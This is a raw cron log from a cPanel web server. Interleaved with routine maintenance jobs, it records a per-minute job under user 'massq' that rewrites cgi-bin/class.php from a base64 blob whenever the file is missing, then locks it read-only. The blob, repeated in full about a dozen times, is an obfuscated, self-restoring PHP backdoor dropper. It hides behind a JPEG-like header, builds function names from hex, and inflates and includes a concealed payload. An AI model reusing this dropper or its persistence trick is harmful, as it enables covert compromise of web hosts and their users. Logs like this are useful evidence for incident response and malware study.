Sep 11 12:07:01 server CROND[17886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:08:01 server CROND[18253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:08:01 server CROND[18254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:08:01 server CROND[18255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:09:01 server CROND[18680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:09:01 server CROND[18681]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:09:01 server CROND[18682]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 12:09:01 server CROND[18683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:10:01 server CROND[19067]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:10:01 server CROND[19069]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:10:01 server CROND[19070]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:10:01 server CROND[19073]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:10:01 server CROND[19076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:10:01 server CROND[19077]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:10:01 server CROND[19075]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:10:01 server CROND[19078]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:11:01 server CROND[20161]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:11:01 server CROND[20162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:11:01 server CROND[20165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:12:01 server CROND[20621]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:12:01 server CROND[20623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:12:01 server CROND[20625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:12:01 server CROND[20624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:13:01 server CROND[21004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:13:01 server CROND[21006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:13:01 server CROND[21008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:14:01 server CROND[21388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:14:01 server CROND[21389]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:14:01 server CROND[21390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:15:01 server CROND[21784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:15:01 server CROND[21785]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:15:01 server CROND[21789]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 11 12:15:01 server CROND[21792]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:15:01 server CROND[21791]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 12:15:01 server CROND[21788]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 11 12:15:01 server CROND[21795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:15:01 server CROND[21793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:15:01 server CROND[21790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:15:01 server CROND[21794]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:16:01 server CROND[22838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:16:01 server CROND[22833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:16:01 server CROND[22840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:17:01 server CROND[23382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:17:01 server CROND[23383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:17:01 server CROND[23388]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:18:01 server CROND[23761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:18:01 server CROND[23762]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:18:01 server CROND[23763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:19:01 server CROND[24155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:19:01 server CROND[24157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:19:01 server CROND[24158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
